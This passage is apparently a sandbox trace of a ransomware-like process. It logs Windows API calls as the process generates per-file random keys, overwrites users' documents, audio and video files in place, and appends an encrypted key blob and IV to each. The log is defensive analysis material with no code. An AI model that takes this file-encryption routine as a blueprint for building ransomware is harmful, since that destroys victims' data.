dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.387] WriteFile (in: hFile=0x9bc, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.388] WriteFile (in: hFile=0x9bc, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.388] CloseHandle (hObject=0x9bc) returned 1 [0156.389] WriteFile (in: hFile=0x9c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.390] CloseHandle (hObject=0x9c0) returned 1 [0156.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0156.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.390] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\PjE1Jt7qW.odp", dwFileAttributes=0x80) returned 1 [0156.391] ReadFile (in: hFile=0x9c0, lpBuffer=0x2fbc008, nNumberOfBytesToRead=0x134e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbc008*, lpNumberOfBytesRead=0x2e1f9bc*=0x134e, lpOverlapped=0x0) returned 1 [0156.391] SetFilePointer (in: hFile=0x9c0, lDistanceToMove=-4942, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.391] WriteFile (in: hFile=0x9c0, lpBuffer=0x2fbd360*, nNumberOfBytesToWrite=0x134e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbd360*, lpNumberOfBytesWritten=0x2e1f9bc*=0x134e, lpOverlapped=0x0) returned 1 [0156.391] SetFilePointer (in: hFile=0x9c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x134e [0156.392] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.392] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.392] WriteFile (in: hFile=0x9c0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.392] WriteFile (in: hFile=0x9c0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.392] CloseHandle (hObject=0x9c0) returned 1 [0156.393] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0156.393] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0156.393] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\C8IRP6AM7ytfT3k03r.pps", dwFileAttributes=0x80) returned 1 [0156.394] ReadFile (in: hFile=0x9c0, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x18efb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x18efb, lpOverlapped=0x0) returned 1 [0156.396] SetFilePointer (in: hFile=0x9c0, lDistanceToMove=-102139, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.396] WriteFile (in: hFile=0x9c0, lpBuffer=0x2efbf18*, nNumberOfBytesToWrite=0x18efb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2efbf18*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18efb, lpOverlapped=0x0) returned 1 [0156.397] SetFilePointer (in: hFile=0x9c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18efb [0156.397] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.397] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.398] WriteFile (in: hFile=0x9c0, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.398] WriteFile (in: hFile=0x9c0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.399] CloseHandle (hObject=0x9c0) returned 1 [0156.400] WriteFile (in: hFile=0x9c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.401] CloseHandle (hObject=0x9c4) returned 1 [0156.402] WriteFile (in: hFile=0x9c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0156.403] CloseHandle (hObject=0x9c4) returned 1 [0156.403] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0156.403] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0156.403] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\oZHSn4.wav", dwFileAttributes=0x80) returned 1 [0156.404] ReadFile (in: hFile=0x9c4, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0xfedd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0xfedd, lpOverlapped=0x0) returned 1 [0156.406] SetFilePointer (in: hFile=0x9c4, lDistanceToMove=-65245, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.406] WriteFile (in: hFile=0x9c4, lpBuffer=0x2ef2ef8*, nNumberOfBytesToWrite=0xfedd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2ef8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfedd, lpOverlapped=0x0) returned 1 [0156.406] SetFilePointer (in: hFile=0x9c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfedd [0156.406] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.406] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.406] WriteFile (in: hFile=0x9c4, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.406] WriteFile (in: hFile=0x9c4, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.407] CloseHandle (hObject=0x9c4) returned 1 [0156.408] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.408] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0156.408] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\MdzVQ3.wav", dwFileAttributes=0x80) returned 1 [0156.408] ReadFile (in: hFile=0x9c4, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0xe6d0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0xe6d0, lpOverlapped=0x0) returned 1 [0156.409] SetFilePointer (in: hFile=0x9c4, lDistanceToMove=-59088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.409] WriteFile (in: hFile=0x9c4, lpBuffer=0x2ef16e8*, nNumberOfBytesToWrite=0xe6d0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef16e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe6d0, lpOverlapped=0x0) returned 1 [0156.410] SetFilePointer (in: hFile=0x9c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe6d0 [0156.410] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.410] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.410] WriteFile (in: hFile=0x9c4, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.410] WriteFile (in: hFile=0x9c4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.410] CloseHandle (hObject=0x9c4) returned 1 [0156.416] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.416] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0156.416] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\kec9e.wav", dwFileAttributes=0x80) returned 1 [0156.416] ReadFile (in: hFile=0x9c4, lpBuffer=0x2fbc008, nNumberOfBytesToRead=0x7bb4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbc008*, lpNumberOfBytesRead=0x2e1f9bc*=0x7bb4, lpOverlapped=0x0) returned 1 [0156.417] SetFilePointer (in: hFile=0x9c4, lDistanceToMove=-31668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.418] WriteFile (in: hFile=0x9c4, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x7bb4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7bb4, lpOverlapped=0x0) returned 1 [0156.418] SetFilePointer (in: hFile=0x9c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7bb4 [0156.418] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.418] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.418] WriteFile (in: hFile=0x9c4, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.418] WriteFile (in: hFile=0x9c4, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.418] CloseHandle (hObject=0x9c4) returned 1 [0156.420] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0156.420] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.420] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\QA3aPEDaWF84ExJu2a\\WM1c.m4a", dwFileAttributes=0x80) returned 1 [0156.420] ReadFile (in: hFile=0x9c8, lpBuffer=0x2fbc008, nNumberOfBytesToRead=0x4bd4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbc008*, lpNumberOfBytesRead=0x2e1f9bc*=0x4bd4, lpOverlapped=0x0) returned 1 [0156.421] SetFilePointer (in: hFile=0x9c8, lDistanceToMove=-19412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.421] WriteFile (in: hFile=0x9c8, lpBuffer=0x2fc0be8*, nNumberOfBytesToWrite=0x4bd4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4bd4, lpOverlapped=0x0) returned 1 [0156.421] SetFilePointer (in: hFile=0x9c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4bd4 [0156.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.421] WriteFile (in: hFile=0x9c8, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.422] WriteFile (in: hFile=0x9c8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.422] CloseHandle (hObject=0x9c8) returned 1 [0156.423] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0156.423] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.423] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\QA3aPEDaWF84ExJu2a\\p8e5V1X.mp3", dwFileAttributes=0x80) returned 1 [0156.423] ReadFile (in: hFile=0x9c8, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0xab7b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0xab7b, lpOverlapped=0x0) returned 1 [0156.424] SetFilePointer (in: hFile=0x9c8, lDistanceToMove=-43899, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.424] WriteFile (in: hFile=0x9c8, lpBuffer=0x2eedb98*, nNumberOfBytesToWrite=0xab7b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eedb98*, lpNumberOfBytesWritten=0x2e1f9bc*=0xab7b, lpOverlapped=0x0) returned 1 [0156.424] SetFilePointer (in: hFile=0x9c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xab7b [0156.425] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.425] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.425] WriteFile (in: hFile=0x9c8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.425] WriteFile (in: hFile=0x9c8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.425] CloseHandle (hObject=0x9c8) returned 1 [0156.427] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0156.427] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0156.427] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\QA3aPEDaWF84ExJu2a\\kBYECbfHPnH6w88hyv.wav", dwFileAttributes=0x80) returned 1 [0156.427] ReadFile (in: hFile=0x9c8, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0xf0a5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0xf0a5, lpOverlapped=0x0) returned 1 [0156.428] SetFilePointer (in: hFile=0x9c8, lDistanceToMove=-61605, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.428] WriteFile (in: hFile=0x9c8, lpBuffer=0x2ef20c0*, nNumberOfBytesToWrite=0xf0a5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef20c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf0a5, lpOverlapped=0x0) returned 1 [0156.429] SetFilePointer (in: hFile=0x9c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf0a5 [0156.429] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.429] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.429] WriteFile (in: hFile=0x9c8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.429] WriteFile (in: hFile=0x9c8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.429] CloseHandle (hObject=0x9c8) returned 1 [0156.431] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0156.431] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.431] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\QA3aPEDaWF84ExJu2a\\HA802leOD20HMQDRvY2.m4a", dwFileAttributes=0x80) returned 1 [0156.431] ReadFile (in: hFile=0x9c8, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0xb535, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0xb535, lpOverlapped=0x0) returned 1 [0156.432] SetFilePointer (in: hFile=0x9c8, lDistanceToMove=-46389, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.432] WriteFile (in: hFile=0x9c8, lpBuffer=0x2eee550*, nNumberOfBytesToWrite=0xb535, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eee550*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb535, lpOverlapped=0x0) returned 1 [0156.433] SetFilePointer (in: hFile=0x9c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb535 [0156.433] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.433] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.433] WriteFile (in: hFile=0x9c8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.433] WriteFile (in: hFile=0x9c8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.433] CloseHandle (hObject=0x9c8) returned 1 [0156.435] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0156.435] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0156.435] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\sWHXtEEM\\rloGHcwU.mp4", dwFileAttributes=0x80) returned 1 [0156.435] ReadFile (in: hFile=0x9cc, lpBuffer=0x2fbc008, nNumberOfBytesToRead=0x9ec0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbc008*, lpNumberOfBytesRead=0x2e1f9bc*=0x9ec0, lpOverlapped=0x0) returned 1 [0156.436] SetFilePointer (in: hFile=0x9cc, lDistanceToMove=-40640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.436] WriteFile (in: hFile=0x9cc, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x9ec0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9ec0, lpOverlapped=0x0) returned 1 [0156.436] SetFilePointer (in: hFile=0x9cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9ec0 [0156.436] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.436] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.436] WriteFile (in: hFile=0x9cc, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.437] WriteFile (in: hFile=0x9cc, lpBuffer=0x5c33d8*, 